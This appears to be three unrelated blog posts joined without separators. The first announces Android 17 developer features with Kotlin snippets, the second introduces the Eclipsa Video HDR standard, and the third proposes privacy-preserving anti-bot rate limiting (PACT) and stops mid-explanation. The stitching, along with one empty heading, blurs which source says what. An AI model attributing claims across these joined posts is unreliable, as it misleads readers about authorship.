Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.

Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the Android Open Source Project (AOSP). This allows you to examine the source code for a deeper understanding of how Android works.

Let's dive deeper into Android 17.

An intelligence system

With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the Model Context Protocol. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.

The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.

/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}

We’ve also launched an AppFunctions agent skill that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.

The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a test agent app that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at goo.gle/eap-af for a chance to be among the first apps to deploy AppFunctions to production.

Adaptive-first

Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over 580 million large screen devices in the hands of users and the forthcoming launch of Googlebooks, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an adaptive-first development standard.

No resizability/orientation restrictions on large screens

To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on large screen devices (sw > 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on app category in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.

Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP

Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:

• App Bubbles: Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.
• The Bubble Bar: On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.
• Desktop interactive PiP: In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.

App Bubbles and Bubble Bar in action

Activity recreation updates

To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including CONFIG_KEYBOARD, CONFIG_KEYBOARD_HIDDEN, CONFIG_NAVIGATION, CONFIG_TOUCHSCREEN, and CONFIG_COLOR_MODE).
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new android:recreateOnConfigChanges manifest attribute.

Continue On

Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.

Handoff Suggestion on a Tablet

class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}

Go adaptive-first with Jetpack Compose

To help you adapt your apps to meet the new Android 17 requirements, we've launched the Jetpack Compose adaptive skill. This AI-powered developer workflow helps you implement the best adaptive practices:

• Adaptive navigation: Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.
• Multi-pane layouts: Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.
• FlexBox & Grid APIs: Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.
• Advanced non-touch input: Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.
• Dynamic window states: Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.

Android is Compose-first

Compose offers the easiest way to build adaptive apps, and that's just one of the many reasons we believe that all Android UI should be built with Compose. To that end, Android development is now Compose-first. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.

TIP
Ready to migrate? Use our AI-driven XML to Compose Migration Skill to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.

Performance & efficiency

App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.

App memory limits

Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. 

Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:

• R8 Optimizer: The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new R8 configuration analyzer to make sure your app is getting the most from R8.
  

• LeakCanary in Android Studio Panda: The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.
• ApplicationExitInfo: If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".
• On-Device Anomaly Detection: Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.

val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList<ProfilingTrigger>().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)

And, we're working to surface more in-field memory metrics to you within Google Play Console.

Generational garbage collection

Android 17 introduces more frequent, less resource-intensive young-generation collections to ART's Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.

Lock-Free MessageQueue

For apps targeting SDK 37 or higher, the core android.os.MessageQueue now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private MessageQueue fields and methods.  The peekWhen and poll APIs have been added to TestLooperManager for instrumentation testing without relying on MessageQueue internals.

Static final fields now truly final

Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s SetStatic<Type>Field methods family will immediately crash the application.

Custom notification view restrictions

To reduce memory usage we are further restricting the size of custom notification views. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.

Privacy & Security

Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.

Privacy-preserving choices

Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:

• System-Level Contact Picker: Utilizing ACTION_PICK_CONTACTS, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad READ_CONTACTS permission. It also fully supports work/personal profile separation.
• Customizable Photo Picker aspect ratio: UsingPhotoPickerUiCustomizationParams, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.
• System-rendered Location Button: A new system-rendered location button that you can embed in your app grants precise location access for the current session only.
• EyeDropper API: A new system-level API, ACTION_OPEN_EYE_DROPPER, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.

val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result ->
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}

Picking a color from anywhere on the screen with the system EyeDropper

Local network access

Apps targeting Android 17 now either require the ACCESS_LOCAL_NETWORK runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because ACCESS_LOCAL_NETWORK falls under the existing NEARBY_DEVICES permission group, users who have already granted other NEARBY_DEVICES permissions will not be prompted again.

SMS OTP protection

Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:

• WebOTP Format: Delayed for all apps that are not the intended recipient (domain mismatch).
• Standard SMS OTP: Delayed for all apps targeting SDK 37+.
• Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the SMS Retriever or SMS User Consent APIs.

Post-Quantum Cryptography (PQC)

Android 17 is ready for the next generation of cryptographic security:

• Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.
• Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.

Safer native dynamic code loading 

Smarter password protection for physical inputs

With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.

Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).

These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields.

Media and camera features that empower creators and delight users

Android 17 introduces new creator features that give access to pro-quality cameras and media, all while improving the experience for consumers.

• Eclipsa Video: HDR video standard built upon the SMPTE ST 2094-50 specification that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.
• RAW14 image format: New support for the RAW14 image format provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.
• Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.
• Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.
• Versatile Video Coding (H.266): Enables OEMs to add codec support by defining the video/vvc MIME type in MediaFormat, adding new VVC profiles in MediaCodecInfo, and integrating support into MediaExtractor.
• Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.
• Constant Quality for Video Recording: SetVideoEncodingQuality in MediaRecorder configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.

Better support for hearing aids

• Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new AudioDeviceInfo.TYPE_BLE_HEARING_AID constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.
• Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.

CameraX and Media3

CameraX and Media3 have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture, smooth media playback, and creative and complex editing experiences.

We've released an agent skill that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.

Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.

Get your apps, libraries, tools, and game engines ready!

If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.

Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps running on and targeting Android 17 to focus your testing, including the following:

• Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints on large screens.
• Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.
• Enable CT by default: Certificate transparency (CT) is enabled by default. (On Android 16, CT is available but apps had to opt in.)
• Local network protections: Apps targeting SDK 37 or higher have local network access blocked by default. Switch to using privacy preserving pickers if possible, and use the new ACCESS_LOCAL_NETWORKpermission for broad, persistent access.
• Background audio hardening: Starting in Android 17, the audio framework enforces restrictions on background audio interactions including audio playback, audio focus requests, and volume change APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the updated guidance.
• NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare FEATURE_NEURAL_PROCESSING_UNIT in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the LiteRT NPU delegate, vendor-specific SDKs, as well as the deprecated NNAPI.

Get started with Android 17

Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can use the 64-bit system images with the Android Emulator in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.

Getting the Android 17 beta on partner devices

Android 17 is available in beta on handset, tablet, and foldable form factors from partners including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.

For the best development experience with Android 17, we recommend that you use the latest Canary build of Android Studio Quail. Once you’re set up, here are some of the things you should do:

Test your current app for compatibility, learn whether your app is affected by changes in Android 17, and install your app onto a device or Android Emulator running Android 17 and extensively test it.

Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.

For complete information on Android 17 please visit the Android 17 developer site.

We’ve all been there: You’re scrolling through your favorite social media feed in a dim room, and suddenly an HDR video pops up. It’s so intensely bright that you have to squint, or maybe you find yourself turning down your screen brightness just to read the caption. Other times, a video that looks vibrant on your phone looks flat, dark, or washed out when you watch it on your living room TV. 

While High Dynamic Range (HDR) technology was designed to make videos look richer and more lifelike, the lack of unified industry guidelines means that the exact same clip can render in unexpected and jarring ways depending on the display you’re using.

To solve this, we’re introducing Eclipsa Video—a new standard built to make your favorite videos look consistent, balanced, and comfortable on every screen. Eclipsa Video builds on the open SMPTE ST 2094-50 specification, which Google developed in collaboration with Apple and NBCUniversal.

Sudden brightness spikes during feed scrolling—fixed with Eclipsa Video.

More consistency, comfort, and creative control

Designed to scale with your hardware, Eclipsa Video provides three core benefits:

• A consistent baseline: Eclipsa Video introduces a shared rulebook for screens. It establishes a consistent benchmark for normal brightness—known as the HDR reference white. This ensures standard text, app interfaces, and standard-range colors remain vibrant and readable without causing uncomfortable screen glare.
• Adaptive headroom: Screens have different physical brightness limits, or "headroom." Eclipsa Video guides how displays handle highlights dynamically. Bright details remain brilliant on a premium television, while being scaled intelligently on a mobile screen to prevent sudden blinding transitions.
• Preserved creative intent: Rather than applying a single static setting to an entire video, Eclipsa Video carries adaptive, frame-by-frame instructions. Think of it as a set of digital notes from the creator traveling with the video, ensuring the exact colors, contrast, and mood they graded are preserved on your display.

Eclipsa Video preserves true highlight detail on any screen you watch.

Built natively into Android 17

Starting with Android 17, support for Eclipsa Video is built directly into the platform. This means a more comfortable, true-to-life HDR experience is coming natively to the phones, tablets, and TVs you rely on every day. The video you capture carries its creative intent with it, and the video you watch is shown exactly the way it was meant to be seen.

Guidelines for developers & creators

We’re inviting the developer and creator ecosystem to help build a more reliable HDR environment:

• Get started with implementation: Learn how to configure playback and capture in your apps with our official guide.
• ExoPlayer & Media3 integration: Standard playback handling built directly into Jetpack Media3, allowing ExoPlayer to support Eclipsa Video metadata automatically with no additional player configuration.
• Explore open source tools: View and inspect SMPTE ST 2094-50 metadata and dynamic gain curves in real time using HDR Explorer.

What’s next

Eclipsa Video is rolling out now, and you’ll see more apps and devices supporting it over time. Because it’s an open standard, any app developer or hardware manufacturer can integrate it to elevate the viewing experience.

Try out the new tools in Android 17, explore the open-source metadata, and let us know what you think on our developer channels. We can’t wait to see what you create.

Notes & Availability

1. Device Compatibility: Eclipsa Video playback and capture are supported natively on devices running Android 17 (API level 37) and above with HDR displays passing Eclipsa Compliance tests.

2. Developer Resources: The SMPTE ST 2094-50 Specification is openly accessible for technical evaluation.

Bots (and privacy-preserving browsers) not welcome

Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: if we think you might be a bot, you’re not welcome.

Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans.  For example: SEO comment spam, credential stuffing and DDoSing. Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors.

Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are dismantling the passive signals that anti-abuse systems depended on to identify and distinguish visitors. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them faster and more reliably than humans.

Many sites are switching to more invasive mechanisms and now ask visitors to disclose identifying information, e.g. an email address, a federated login or disabling their VPN. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate.

This leaves users with a dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse.

Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block both. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.

The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users who would otherwise want to consume their content or services. New user agents struggle to access the same content as conventional browsers.

The Costs of Convenient Solutions

Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.

Google’s Web Environment Integrity, abandoned in 2023, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.

Apple’s Private Access Tokens, deployed across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.

However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. Due to PAT’s technical design^[1], there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would become tied to having bought expensive hardware from a small, hard to change set of vendors.

Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.

A Better Path Forward

Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they don’t actually need to know the user’s identity or receive cryptographic proof that they’re running approved software. If sites knew their visitors were restricted to a rate limit set by a site, that would be enough.  

Rate limits only make sense if they’re tied to something scarce; something an attacker can’t cheaply replicate to evade the limit. Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit.

However, hardware is just one option for scarcity. Anything a user already has that an attacker can’t trivially spin up at scale will work: email addresses and phone numbers are naturally scarce. A paid subscription costs an attacker the same as a real user.  Even maintaining an account on a free service requires some non-trivial work.

What if we could use these scarce signals across the web? We could build an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms.

As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage.

The catch is that building a system that can enable this on the open web whilst maintaining user’s privacy is genuinely difficult. It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. Letting one site verify a signal from another is the sort of information flow that privacy-preserving browsers have spent the last decade locking down to prevent cross-site tracking.

Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), it can be a win for both privacy and access.

The Foundations

The good news is that the cryptographic foundations for a privacy preserving approach already exist. The Privacy Pass protocol, originally developed in 2018 to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is unlinkable between issuance and redemption. You prove something to an issuer (e.g. by solving a CAPTCHA), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to.

Figure 1: In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history.

Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: Apple uses it to authenticate users of Private Cloud Compute and Private Relay without linking their activity to their identity, Chrome uses it for two-hop IP protection, and Kagi uses it to provide private search. These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them.

Applying this approach to an open system where any site can act as an issuer brings real challenges. Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. This compounds if sites can learn the set of issuers you have visited, since it becomes a fingerprint which can be used to identify you.

Generic techniques exist for proving a statement in zero knowledge: we can prove that a client has a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. The generic approach is often slow, but bespoke approaches tailored to the underlying cryptography can improve this considerably.

Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, sites are likely to lean towards conservative issuer selection. That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created. 

To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like Prio which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour.

Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per client basis, for example by increasing rate limits where they become more confident the client is benign and withdrawing access when abuse is detected.

Anonymous Credit Tokens offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing the counter whenever the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked.

Putting it together

So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a W3C CG Meeting in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens.

Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an Anchor. To a user who meets the Anchor’s criteria, like having a subscription, an account in good standing, or a verified phone number, an Anchor issues a batch of Endorsement tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys scarcity to other sites.

That’s enough for a simple system where access is either granted or denied. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. The state needed to enforce a rate limit can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it.

We’ll call that the party that handles rate limiting for a site a Moderator and the stateful object a Credential. A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit. 

In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.

Figure 2: (1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time.

Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of the Anchors it trusts, but not which one.

When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as we would for any other third party site. The unlinkability of Credential presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it does provide a new way to grant access without requiring users to give up their privacy.

Enabling Moderators that cover many sites carries a centralisation risk, similar to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. This can’t reverse the centralisation pressure the web already faces, but it ensures this system won’t lead to additional lock-in: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor.

The system then has three flows. First, the user receives Endorsements from an Anchor in the course of normal interaction, based on the Anchor’s positive view of the user. This is a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.

Figure 3: In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.

Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides which Anchor was used, and neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) could be used to bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.

